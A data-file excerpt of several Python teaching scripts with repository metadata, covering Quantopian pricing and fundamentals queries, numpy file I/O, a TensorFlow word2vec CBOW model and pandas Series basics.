0.49218813572079556, "lm_q2_score": 0.12592275663455993, "lm_q1q2_score": 0.06197768683278749}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n# # 01-Quantopian Research Basics\n# **Please remember that this notebook will only work on Quantopian! Make an account and upload this notebook file.\n# These commands and functions won't work except on the Quantopian trading platform!**\n# Note a lot of the written markdown text in this notebook comes direclty from the Quantopian docs and tutorials, definitely check those out as well, they're great!\n# ## Research\n# The notebook format allows us to easily gather information about variuos securities all within the Quantopian platform.\n# Keep in mind this is different than the base coding platform of quantopian, which focuses on actually implementing and backtesting trading strategies.\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n# NO NEED TO DO MAGIC INLINE COMMAND ON QUANTOPIAN!\n# ## Getting Information\n# Let's go over a few key functions:\n# * get_pricing()\n# * symbols()\n# * local_csv()\n# * get_backtest()\n# * get_fundamentals()\n# ## get_pricing()\n# The `get_pricing` function provides access to 12 years of US Equity pricing data: the same data used by the Quantopian backtester.\n# `get_pricing` returns a <b>pandas object</b>. This could be a panel, dataframe or series depending on the input values. \nmcdon = get_pricing('MCD',\n                    start_date='2017-01-01', \n                    end_date = '2017-02-01', \n                    frequency='minute')\nmcdon.head()\n# In[19]:\nmcdon.info()\n# Can only go about 12 years back\n# which is really all you need for algo trading, \n# going back further probably is more noise than signal.\nmcdon = get_pricing('MCD',\n                    start_date='2005-01-01', \n                    end_date = '2017-01-01', \n                    frequency='daily')\nmcdon['close_price'].plot()\n# In[35]:\nmcdon['close_price'].pct_change(1).hist_df(bins=100, figsize=(6, 4))\n# ## symbols()\n# By default `symbols` returns the security object for a ticker symbol. Specify a ticker symbol, or list of symbols, as a string and get a list of security objects back. \n# - Use `symbol_reference_date` to identify which date you want the symbol back for a particular ticker symbol. \n# - Specify how you would like missing results to be handled with `handle_missing`\nmcdon_eq_info = symbols('MCD')\ntype(mcdon_eq_info)\n# In[48]:\nfor key in mcdon_eq_info.to_dict():\n    print(key)\n    print(mcdon_eq_info.to_dict()[key])\n    print('\\n')\n# ## get_fundamentals()\n# The `get_fundamentals` function provides programmatic access to the Quantopian fundamental database.\n# Based on data provided by Morningstar, `get_fundamentals` provides over 600 corporate metrics dating back to 2002 (to match Quantopian's pricing data). \n# The data used by this research function is the same data used by the `get_fundamentals` function used in the Quantopian IDE.\n# The fields are described in the Quantopian help documents: http://www.quantopian.com/help/fundamentals.\n# Have to do this first in the notebook:\nfundamentals = init_fundamentals()\n# The get_fundamentals() function takes in a SQLAlchemy query which can be quite complicated and strange looking at first.\n# Basically it allows you to filter by a variety of fundamentals (things like Market Cap, P/E Ratio, or even city of HQ). Check out the link above for all the things you can filter by!\n# Let's walk through a few query examples.\n# First call fundamentals and use tab to check out the various options:\nfundamentals. # call tab here as in the video!\n# Market Cap\nmy_query = query(fundamentals.valuation.market_cap)\nmy_funds = get_fundamentals(my_query,'2017-01-01')\nmy_funds.info()\n# Basically just returns the market cap of everything\n# for 2017-01-01\nmy_funds.head()\n# What you usualy do is filter by other qualities after the query!\n# Only get companies worth 500 billion or more (that's a lot of dough!)\nbig_companies = (query(fundamentals.valuation.market_cap).\n                 filter(fundamentals.valuation.market_cap > 500000000000) )\nmy_big_funds = get_fundamentals(big_companies,'2017-07-19')\n# On \nmy_big_funds\n# In[70]:\n7.82 * 10**11\n# In[50]:\nget_fundamentals()\n", "meta": {"hexsha": "90a0719b20df16e768cc15f79f406a15f350d39b", "size": 4116, "ext": "py", "lang": "Python", "max_stars_repo_path": "FinanceAnalysisAlgoTrading/10-Quantopian-Platform_01-Quantopian-Research-Basics.py", "max_stars_repo_name": "enriqueescobar-askida/Kinito.Finance", "max_stars_repo_head_hexsha": "5308748b64829ac798a858161f9b4a9e5829db44", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-03-04T11:18:38.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-10T15:36:42.000Z", "max_issues_repo_path": "FinanceAnalysisAlgoTrading/10-Quantopian-Platform_01-Quantopian-Research-Basics.py", "max_issues_repo_name": "enriqueescobar-askida/Kinito.Finance", "max_issues_repo_head_hexsha": "5308748b64829ac798a858161f9b4a9e5829db44", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 6, "max_issues_repo_issues_event_min_datetime": "2020-03-30T16:42:47.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-13T20:37:21.000Z", "max_forks_repo_path": "FinanceAnalysisAlgoTrading/10-Quantopian-Platform_01-Quantopian-Research-Basics.py", "max_forks_repo_name": "enriqueescobar-askida/Kinito.Finance", "max_forks_repo_head_hexsha": "5308748b64829ac798a858161f9b4a9e5829db44", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-04-14T11:26:16.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-14T11:26:16.000Z", "avg_line_length": 50.1951219512, "max_line_length": 184, "alphanum_fraction": 0.7380952381, "include": true, "reason": "import numpy", "num_tokens": 1018, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.12592275663455993, "lm_q1q2_score": 0.06197768683278749}}
{"text": "import numpy as np\n\n# Loading and existing file\narr = np.loadtxt('somefile.txt')\n\n# Saving a new file\nnp.savetxt('somenewfile.txt', arr)\n\n# Opening an existing file with the append option\nf = open('existingfile.txt', 'a')\n\n# Creating some random data to append to the existing file\ndata2append = np.random.rand(100)\n\n# With np.savetxt we replace the file name with the file handle.\nnp.savetxt(f, data2append)\n\nf.close()\n", "meta": {"hexsha": "cab3fe69a5354693f700852075814532763ea5f8", "size": 420, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_examples/numpy_231_ex2.py", "max_stars_repo_name": "ebressert/ScipyNumpy_book_examples", "max_stars_repo_head_hexsha": "e7a84ca72d6cd243f1432658d2c4e040fa4dd7d8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 31, "max_stars_repo_stars_event_min_datetime": "2015-02-10T15:27:23.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-11T08:11:10.000Z", "max_issues_repo_path": "python_examples/numpy_231_ex2.py", "max_issues_repo_name": "ebressert/ScipyNumpy_book_examples", "max_issues_repo_head_hexsha": "e7a84ca72d6cd243f1432658d2c4e040fa4dd7d8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_examples/numpy_231_ex2.py", "max_forks_repo_name": "ebressert/ScipyNumpy_book_examples", "max_forks_repo_head_hexsha": "e7a84ca72d6cd243f1432658d2c4e040fa4dd7d8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 25, "max_forks_repo_forks_event_min_datetime": "2015-04-28T16:17:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T19:28:41.000Z", "avg_line_length": 22.1052631579, "max_line_length": 64, "alphanum_fraction": 0.7404761905, "include": true, "reason": "import numpy", "num_tokens": 105, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.16885695632426875, "lm_q1q2_score": 0.061901227095076145}}
{"text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport math\nimport os\nimport random\nimport zipfile\n\nimport numpy as np\nfrom six.moves import urllib\nfrom six.moves import xrange\nimport tensorflow as tf\n\n# \u7b2c\u4e00\u6b65: \u5728\u4e0b\u9762\u8fd9\u4e2a\u5730\u5740\u4e0b\u8f7d\u8bed\u6599\u5e93\nurl = 'http://mattmahoney.net/dc/'\n\n\ndef data_path(file_name):\n    current_dir = os.path.dirname(__file__)\n    parent_dir = os.path.abspath(os.path.join(current_dir, os.pardir, os.pardir))\n    data_dir = os.path.join(parent_dir, \"data_source\", file_name)\n    return data_dir\n\n\ndef maybe_download(filename, expected_bytes):\n    \"\"\"\n    \u8fd9\u4e2a\u51fd\u6570\u7684\u529f\u80fd\u662f\uff1a\n    \u5982\u679cfilename\u4e0d\u5b58\u5728\uff0c\u5c31\u5728\u4e0a\u9762\u7684\u5730\u5740\u4e0b\u8f7d\u5b83\u3002\n    \u5982\u679cfilename\u5b58\u5728\uff0c\u5c31\u8df3\u8fc7\u4e0b\u8f7d\u3002\n    \u6700\u7ec8\u4f1a\u68c0\u67e5\u6587\u5b57\u7684\u5b57\u8282\u6570\u662f\u5426\u548cexpected_bytes\u76f8\u540c\u3002\n    \"\"\"\n    # if not os.path.exists(filename):\n    if not os.path.exists(data_path(filename)):\n        print('start downloading...')\n        filename, _ = urllib.request.urlretrieve(url + filename, filename)\n    statinfo = os.stat(filename)\n    if statinfo.st_size == expected_bytes:\n        print('Found and verified', filename)\n    else:\n        print(statinfo.st_size)\n        raise Exception(\n            'Failed to verify ' + filename + '. Can you get to it with a browser?')\n    return filename\n\n\n# \u4e0b\u8f7d\u8bed\u6599\u5e93text8.zip\u5e76\u9a8c\u8bc1\u4e0b\u8f7d\n# filename = maybe_download('text8.zip', 31344016)\n# print(filename)\n# print(\"%%%%%%%%%%%%%%%%%\")\n\nfilename = data_path(\"text8.zip\")\nprint(filename)\n\n\n# \u5c06\u8bed\u6599\u5e93\u89e3\u538b\uff0c\u5e76\u8f6c\u6362\u6210\u4e00\u4e2aword\u7684list\ndef read_data(filename):\n    \"\"\"\n    \u8fd9\u4e2a\u51fd\u6570\u7684\u529f\u80fd\u662f\uff1a\n    \u5c06\u4e0b\u8f7d\u597d\u7684zip\u6587\u4ef6\u89e3\u538b\u5e76\u8bfb\u53d6\u4e3aword\u7684list\n    \"\"\"\n    with zipfile.ZipFile(filename) as f:\n        data = tf.compat.as_str(f.read(f.namelist()[0])).split()\n    return data\n\n\nvocabulary = read_data(filename)\nprint('Data size', len(vocabulary))  # \u603b\u957f\u5ea6\u4e3a1700\u4e07\u5de6\u53f3\n# \u8f93\u51fa\u524d100\u4e2a\u8bcd\u3002\nprint(vocabulary[0:100])\n\n# \u7b2c\u4e8c\u6b65: \u5236\u4f5c\u4e00\u4e2a\u8bcd\u8868\uff0c\u5c06\u4e0d\u5e38\u89c1\u7684\u8bcd\u53d8\u6210\u4e00\u4e2aUNK\u6807\u8bc6\u7b26\n# \u8bcd\u8868\u7684\u5927\u5c0f\u4e3a5\u4e07\uff08\u5373\u6211\u4eec\u53ea\u8003\u8651\u6700\u5e38\u51fa\u73b0\u76845\u4e07\u4e2a\u8bcd\uff09\nvocabulary_size = 50000\n\n\ndef build_dataset(words, n_words):\n    \"\"\"\n    \u51fd\u6570\u529f\u80fd\uff1a\u5c06\u539f\u59cb\u7684\u5355\u8bcd\u8868\u793a\u53d8\u6210index\n    \"\"\"\n    count = [['UNK', -1]]\n    count.extend(collections.Counter(words).most_common(n_words - 1))\n    # count = [['UNK', -1], ('the', 1061396), ('of', 593677), ('and', 416629) ...]\n    dictionary = dict()\n    for word, _ in count:\n        dictionary[word] = len(dictionary)\n    data = list()\n    unk_count = 0\n    for word in words:\n        if word in dictionary:\n            index = dictionary[word]\n        else:\n            index = 0\n            unk_count += 1\n        data.append(index)\n    count[0][1] = unk_count\n    reversed_dictionary = dict(zip(dictionary.values(), dictionary.keys()))\n    return data, count, dictionary, reversed_dictionary\n\n\ndata, count, dictionary, reverse_dictionary = build_dataset(vocabulary, vocabulary_size)\ndel vocabulary  # \u5220\u9664\u5df2\u8282\u7701\u5185\u5b58\n# \u8f93\u51fa\u6700\u5e38\u51fa\u73b0\u76845\u4e2a\u5355\u8bcd\nprint('Most common words (+UNK)', count[:5])\n# \u8f93\u51fa\u8f6c\u6362\u540e\u7684\u6570\u636e\u5e93data\uff0c\u548c\u539f\u6765\u7684\u5355\u8bcd\uff08\u524d10\u4e2a\uff09\nprint('Sample data', data[:10], [reverse_dictionary[i] for i in data[:10]])\n# \u6211\u4eec\u4e0b\u9762\u5c31\u4f7f\u7528data\u6765\u5236\u4f5c\u8bad\u7ec3\u96c6\nprint(\"+++++++++++++++++\")\ndata_index = 0\n\n\n# \u7b2c\u4e09\u6b65\uff1a\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\uff0c\u7528\u4e8e\u751f\u6210cbow\u6a21\u578b\u7528\u7684batch\ndef generate_batch(batch_size, cbow_window):\n    global data_index\n    assert cbow_window % 2 == 1\n    span = 2 * cbow_window + 1\n    # \u53bb\u9664\u4e2d\u5fc3word: span - 1\n    batch = np.ndarray(shape=(batch_size, span - 1), dtype=np.int32)\n    labels = np.ndarray(shape=(batch_size, 1), dtype=np.int32)\n\n    buffer = collections.deque(maxlen=span)\n    for _ in range(span):\n        buffer.append(data[data_index])\n        # \u5faa\u73af\u9009\u53d6 data\u4e2d\u6570\u636e\uff0c\u5230\u5c3e\u90e8\u5219\u4ece\u5934\u5f00\u59cb\n        data_index = (data_index + 1) % len(data)\n\n    for i in range(batch_size):\n        # target at the center of span\n        target = cbow_window\n        # \u4ec5\u4ec5\u9700\u8981\u77e5\u9053context(word)\u800c\u4e0d\u9700\u8981word\n        target_to_avoid = [cbow_window]\n\n        col_idx = 0\n        for j in range(span):\n            # \u7565\u8fc7\u4e2d\u5fc3\u5143\u7d20 word\n            if j == span // 2:\n                continue\n            batch[i, col_idx] = buffer[j]\n            col_idx += 1\n        labels[i, 0] = buffer[target]\n        # \u66f4\u65b0 buffer\n        buffer.append(data[data_index])\n        data_index = (data_index + 1) % len(data)\n\n    return batch, labels\n\n\nnum_steps = 100001\n\nif __name__ == '__main__':\n    batch_size = 128\n    embedding_size = 128  # Dimension of the embedding vector.\n    cbow_window = 1  # How many words to consider left and right.\n    num_skips = 2  # How many times to reuse an input to generate a label.\n    # We pick a random validation set to sample nearest neighbors. here we limit the\n    # validation samples to the words that have a low numeric ID, which by\n    # construction are also the most frequent.\n    valid_size = 16  # Random set of words to evaluate similarity on.\n    valid_window = 100  # Only pick dev samples in the head of the distribution.\n    # pick 16 samples from 100\n    valid_examples = np.array(random.sample(range(valid_window), valid_size // 2))\n    valid_examples = np.append(valid_examples, random.sample(range(1000, 1000 + valid_window), valid_size // 2))\n    num_sampled = 64  # Number of negative examples to sample.\n\n    graph = tf.Graph()\n\n    with graph.as_default(), tf.device('/cpu:0'):\n\n        # Input data.\n        train_dataset = tf.placeholder(tf.int32, shape=[batch_size, 2 * cbow_window])\n        train_labels = tf.placeholder(tf.int32, shape=[batch_size, 1])\n        valid_dataset = tf.constant(valid_examples, dtype=tf.int32)\n\n        # Variables.\n        # embedding, vector for each word in the vocabulary\n        embeddings = tf.Variable(tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0))\n        nce_weights = tf.Variable(tf.truncated_normal([vocabulary_size, embedding_size],\n                                                      stddev=1.0 / math.sqrt(embedding_size)))\n        nce_biases = tf.Variable(tf.zeros([vocabulary_size]))\n\n        # Model.\n        # Look up embeddings for inputs.\n        # this might efficiently find the embeddings for given ids (traind dataset)\n        # manually doing this might not be efficient given there are 50000 entries in embeddings\n        embeds = None\n        for i in range(2 * cbow_window):\n            embedding_i = tf.nn.embedding_lookup(embeddings, train_dataset[:, i])\n            print('embedding %d shape: %s' % (i, embedding_i.get_shape().as_list()))\n            emb_x, emb_y = embedding_i.get_shape().as_list()\n            if embeds is None:\n                embeds = tf.reshape(embedding_i, [emb_x, emb_y, 1])\n            else:\n                embeds = tf.concat([embeds, tf.reshape(embedding_i, [emb_x, emb_y, 1])], 2)\n\n        assert embeds.get_shape().as_list()[2] == 2 * cbow_window\n        print(\"Concat embedding size: %s\" % embeds.get_shape().as_list())\n        avg_embed = tf.reduce_mean(embeds, 2, keep_dims=False)\n        print(\"Avg embedding size: %s\" % avg_embed.get_shape().as_list())\n\n        loss = tf.reduce_mean(tf.nn.nce_loss(nce_weights, nce_biases,\n                                             labels=train_labels,\n                                             inputs=avg_embed,\n                                             num_sampled=num_sampled,\n                                             num_classes=vocabulary_size))\n\n        # Optimizer.\n        # Note: The optimizer will optimize the softmax_weights AND the embeddings.\n        # This is because the embeddings are defined as a variable quantity and the\n        # optimizer's `minimize` method will by default modify all variable quantities\n        # that contribute to the tensor it is passed.\n        # See docs on `tf.train.Optimizer.minimize()` for more details.\n        # Adagrad is required because there are too many things to optimize\n        optimizer = tf.train.AdagradOptimizer(1.0).minimize(loss)\n\n        # Compute the similarity between minibatch examples and all embeddings.\n        # We use the cosine distance:\n        norm = tf.sqrt(tf.reduce_sum(tf.square(embeddings), 1, keep_dims=True))\n        normalized_embeddings = embeddings / norm\n        valid_embeddings = tf.nn.embedding_lookup(normalized_embeddings, valid_dataset)\n        similarity = tf.matmul(valid_embeddings, tf.transpose(normalized_embeddings))\n\n    with tf.Session(graph=graph) as session:\n        tf.global_variables_initializer().run()\n        print('Initialized')\n        average_loss = 0\n        for step in range(num_steps):\n            batch_data, batch_labels = generate_batch(batch_size, cbow_window)\n            feed_dict = {train_dataset: batch_data, train_labels: batch_labels}\n            _, l = session.run([optimizer, loss], feed_dict=feed_dict)\n            average_loss += l\n            if step % 2000 == 0:\n                if step > 0:\n                    average_loss = average_loss / 2000\n                    # The average loss is an estimate of the loss over the last 2000 batches.\n                print('Average loss at step %d: %f' % (step, average_loss))\n                average_loss = 0\n            # note that this is expensive (~20% slowdown if computed every 500 steps)\n            if step % 10000 == 0:\n                sim = similarity.eval()\n                for i in range(valid_size):\n                    valid_word = reverse_dictionary[valid_examples[i]]\n                    top_k = 8  # number of nearest neighbors\n                    nearest = (-sim[i, :]).argsort()[1:top_k + 1]\n                    log = 'Nearest to %s:' % valid_word\n                    for k in range(top_k):\n                        close_word = reverse_dictionary[nearest[k]]\n                        log = '%s %s,' % (log, close_word)\n                    print(log)\n        final_embeddings = normalized_embeddings.eval()\n\n\n# Step 6: \u53ef\u89c6\u5316\n# \u53ef\u89c6\u5316\u7684\u56fe\u7247\u4f1a\u4fdd\u5b58\u4e3a\u201ctsne1.png\u201d\n\ndef plot_with_labels(low_dim_embs, labels, filename='tsne1.png'):\n    assert low_dim_embs.shape[0] >= len(labels), 'More labels than embeddings'\n    plt.figure(figsize=(18, 18))  # in inches\n    for i, label in enumerate(labels):\n        x, y = low_dim_embs[i, :]\n        plt.scatter(x, y)\n        plt.annotate(label,\n                     xy=(x, y),\n                     xytext=(5, 2),\n                     textcoords='offset points',\n                     ha='right',\n                     va='bottom')\n\n    plt.savefig(filename)\n\n\ntry:\n    # pylint: disable=g-import-not-at-top\n    from sklearn.manifold import TSNE\n    import matplotlib\n\n    matplotlib.use('agg')\n    import matplotlib.pyplot as plt\n\n    # \u56e0\u4e3a\u6211\u4eec\u7684embedding\u7684\u5927\u5c0f\u4e3a128\u7ef4\uff0c\u6ca1\u6709\u529e\u6cd5\u76f4\u63a5\u53ef\u89c6\u5316\n    # \u6240\u4ee5\u6211\u4eec\u7528t-SNE\u65b9\u6cd5\u8fdb\u884c\u964d\u7ef4\n    tsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=5000)\n    # \u53ea\u753b\u51fa500\u4e2a\u8bcd\u7684\u4f4d\u7f6e\n    plot_only = 500\n    low_dim_embs = tsne.fit_transform(final_embeddings[:plot_only, :])\n    labels = [reverse_dictionary[i] for i in xrange(plot_only)]\n    plot_with_labels(low_dim_embs, labels)\n\nexcept ImportError:\n    print('Please install sklearn, matplotlib, and scipy to show embeddings.')\n", "meta": {"hexsha": "1bf34a2d369d88eb453b53adbca63ca5f59bd082", "size": 10665, "ext": "py", "lang": "Python", "max_stars_repo_path": "model/word2vec/word2vec_CBOW.py", "max_stars_repo_name": "FeliciaMJ/PythonLearningJourney", "max_stars_repo_head_hexsha": "ae1bfac872ee29256e69df6e0e8e507321404cba", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "model/word2vec/word2vec_CBOW.py", "max_issues_repo_name": "FeliciaMJ/PythonLearningJourney", "max_issues_repo_head_hexsha": "ae1bfac872ee29256e69df6e0e8e507321404cba", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "model/word2vec/word2vec_CBOW.py", "max_forks_repo_name": "FeliciaMJ/PythonLearningJourney", "max_forks_repo_head_hexsha": "ae1bfac872ee29256e69df6e0e8e507321404cba", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-04-04T00:27:29.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-05T03:26:53.000Z", "avg_line_length": 36.6494845361, "max_line_length": 112, "alphanum_fraction": 0.6283169245, "include": true, "reason": "import numpy", "num_tokens": 2758, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.13296425222296632, "lm_q1q2_score": 0.0618152897949446}}
{"text": "# -*- coding: utf-8 -*-\n# author: ysoftman\n# python version : 3.x\n# desc : pandas test\nimport numpy as np\nimport pandas as pd\n\nfruits = [\"lemon\", \"orange\", \"apple\"]\nprint(\"fruits = \", fruits)\n# series(\uc2dc\ub9ac\uc988)\ub294 \ud0a4\ub97c \uac00\uc9c0\ub294 \ub9ac\uc2a4\ud2b8\uc758 1\ucc28\uc6d0\uc790\ub8cc \uad6c\uc870\ub2e4.\n# \uc2dc\ub9ac\uc988\uc758\ub97c \ubb36\uc5b4 2\ucc28\uc6d0\uc758 dataframe \uad6c\uc870\ub97c \ub9cc\ub4e4 \uc218 \uc788\ub2e4.\nprint(\"pd.Series(fruits) =\\n\", pd.Series(fruits), sep=\"\")\nprint()\n\n# int \ub9ac\uc2a4\ud2b8\ub97c \uac00\uc9c0\uace0 \uc788\ub294 \uc2dc\ub9ac\uc988\nnumbers = [1, 2, 3]\nprint(\"numbers = \", numbers)\nprint(\"pd.Series(numbers) =\\n\", pd.Series(numbers), sep=\"\")\nprint()\n\n# None \uc740 NaN(Not A Number:\ud45c\ud604 \ubd88\uac00\ub2a5\ud55c \uc218\uce58)\ub85c \ud45c\ud604\ub41c\ub2e4.\n# NaN \uc73c\ub85c float \uac12\uc73c\ub85c \ucc98\ub9ac\ub41c\ub2e4.\nfloats = [1, 2, None]\nprint(\"floats = \", floats)\nprint(\"pd.Series(floats) =\\n\", pd.Series(floats), sep=\"\")\nprint(\"pd.Series(floats).name =\\n\", pd.Series(floats).name, sep=\"\")\nprint()\n\n# \uc2dc\ub9ac\uc988\uc5d0 \ucd94\uac00\ud558\uae30\nfruits1 = pd.Series(fruits, name=\"new1\")\nfruits2 = pd.Series([\"strawberry\", \"watermelon\", \"mango\"], name=\"new2\")\nfruits3 = pd.Series([\"aa\", \"cc\"], name=\"new3\")\nfruits1 = fruits1.append(fruits2)\nfruits1 = fruits1.append(fruits3)\nprint(\"fruits1 =\\n\", fruits1, sep=\"\")\nprint(\"fruits1[1] =\\n\", fruits1[1], sep=\"\")\nprint()\n\n# dictionary -> series\nfruitsDict = {\"lemon\": 9000, \"apple\": \"7000\", \"orange\": \"5000\"}\nprint(\"fruitsDict = \", fruitsDict)\nprint(\"pd.Series(fruitsDict) =\\n\", pd.Series(fruitsDict), sep=\"\")\nprint()\n\nfs = pd.Series(fruitsDict)\n# \ud604\uc7ac index\nprint(\"fs.index = \", fs.index)\n# index \uc0c8\ub85c \uc9c0\uc815\ud560 \uc218 \uc788\uace0\n# index \ub97c \uc9c0\uc815\ud558\uc9c0 \uc54a\ub294 \uac12\uc740 \uc0ac\ub77c\uc9c0\uace0(\ubb34\ud6a8\ud654)  => orange\n# index \uc5d0 \ud574\ub2f9\ud558\ub294 \uac12\uc774 \uc5c6\uc73c\uba74 NaN \ub610\ub294 None \uc774\ub41c\ub2e4. => banana\nfs2 = pd.Series(fs, index=[\"lemon\", \"apple\", \"banana\"])\nprint(\"fs =\\n\", fs, sep=\"\")\nprint(\"fs2 = \\n\", fs2, sep=\"\")\nprint()\n\n# label \ub85c \uc2dc\ub9ac\uc988 \uc778\ub371\uc2f1, \uc2ac\ub77c\uc774\uc2f1\nprint('fs.loc[\"apple\"]', fs.loc[\"apple\"])\nprint('fs.loc[\"lemon\":\"orange\"]', fs.loc[\"lemon\":\"orange\"])\n# \uc704\uce58 \ub85c \uc2dc\ub9ac\uc988 \uc778\ub371\uc2f1, \uc2ac\ub77c\uc774\uc2f1\nprint('fs.iloc[1]', fs.iloc[1])\nprint('fs.iloc[0:]', fs.iloc[0:])\n# \uc77c\ubc18 \uc778\ub371\uc2f1\uc73c\ub85c\ub3c4 \ub418\uc9c0\ub9cc 2\ucc28\uc6d0\uc774\uc0c1\uc758 \ub370\uc774\ud130\uc5d0\uc11c\ub294 \ud0a4 \uc5d0\ub7ec\uac00 \ubc1c\uc0dd\ud55c\ub2e4.\n# print('fs[\"apple\"]', fs[\"apple\"])\n# print('fs[1]', fs[1])\n# \uac12 \ucd94\uac00\n# fs['id'] = 'ysfotman'\nfs.loc['id'] = 'ysfotman'\nprint(\"fs =\\n\", fs, sep=\"\")\nprint()\n\n# 10000 \uac1c\uc758 \ub370\uc774\ud130\ub97c \ub2f4\uc740 \uc2dc\ub9ac\uc988 \uc0dd\uc131\nrs = pd.Series(np.random.randint(1, 100, 10000))\nprint(\"len(rs) = \", len(rs))\n# \uc55e\ubd80\ubd84\uacfc \ub4a4\ubd80\ubd84 \ub370\uc774\ud130 \ubcf4\uae30\nprint(\"rs.head() =\\n\", rs.head(n=10), sep=\"\")\nprint(\"rs.tail() =\\n\", rs.tail(), sep=\"\")\nprint()\n\n# rs \ub370\uc774\ud130\uc5d0 \uc77c\uad04 \uc5f0\uc0b0 \uc801\uc6a9\n# \ub2e4\uc74c \ucc98\ub7fc \ub8e8\ud504\ub97c \ub3cc\ub9ac\ub294\uac83 \ubcf4\ub2e4\nfor k, v in rs.iteritems():\n    rs.loc[k] = v + 2\nprint(\"rs.tail() =\\n\", rs.tail(), sep=\"\")\n# \ubca1\ud130\ud654 \uc5f0\uc0b0(vectorization operation:\ub8e8\ud504\uc5c6\uc774 \uc5f0\uc0b0 \ud55c\ubc88\uc5d0 \ub05d\ub0b8\ub2e4.)\uc744 \uc9c0\uc6d0\ud574 \ub354 \ube60\ub974\ub2e4.\nrs += 10\nprint(\"rs.tail() =\\n\", rs.tail(), sep=\"\")\n", "meta": {"hexsha": "b18e9918c64cf1632577d4585ca50431c55010fc", "size": 2435, "ext": "py", "lang": "Python", "max_stars_repo_path": "data-science-in-python/introduction_to_data_science_in_python/pandas_series.py", "max_stars_repo_name": "ysoftman/test_code", "max_stars_repo_head_hexsha": "4c71cc7c6a17d73cc84298e3a44051d3ab9d40f8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2017-12-07T04:29:36.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-11T10:58:14.000Z", "max_issues_repo_path": "data-science-in-python/introduction_to_data_science_in_python/pandas_series.py", "max_issues_repo_name": "ysoftman/test_code", "max_issues_repo_head_hexsha": "4c71cc7c6a17d73cc84298e3a44051d3ab9d40f8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 14, "max_issues_repo_issues_event_min_datetime": "2018-07-17T05:16:42.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-22T00:43:47.000Z", "max_forks_repo_path": "data-science-in-python/introduction_to_data_science_in_python/pandas_series.py", "max_forks_repo_name": "ysoftman/test_code", "max_forks_repo_head_hexsha": "4c71cc7c6a17d73cc84298e3a44051d3ab9d40f8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.9885057471, "max_line_length": 71, "alphanum_fraction": 0.6229979466, "include": true, "reason": "import numpy", "num_tokens": 1016, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490158620112276, "lm_q2_score": 0.1329642419157059, "lm_q1q2_score": 0.06181528697464149}}
{"text": "import numpy as np\r\nimport pandas as pd\r\n\r\ncolumn_names = ['color', 'director_name', 'num_critic_for_reviews', 'duration',\r\n                'gross', 'movie_title', 'num_user_for_reviews',\t'country',\r\n                'cotent_rating', 'budget', 'title_year', 'imdb_score', 'genre']\r\n\r\n", "meta": {"hexsha": "c2ba3679f8f88efb9d9254a514864d2aff9294e3", "size": 283, "ext": "py", "lang": "Python", "max_stars_repo_path": "Reading Data/lesson-3-advanced-parsing-on-movies-dataset/main.py", "max_stars_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_stars_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Reading Data/lesson-3-advanced-parsing-on-movies-dataset/main.py", "max_issues_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_issues_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-01-11T21:04:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-11T21:05:05.000Z", "max_forks_repo_path": "Reading Data/lesson-3-advanced-parsing-on-movies-dataset/main.py", "max_forks_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_forks_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, 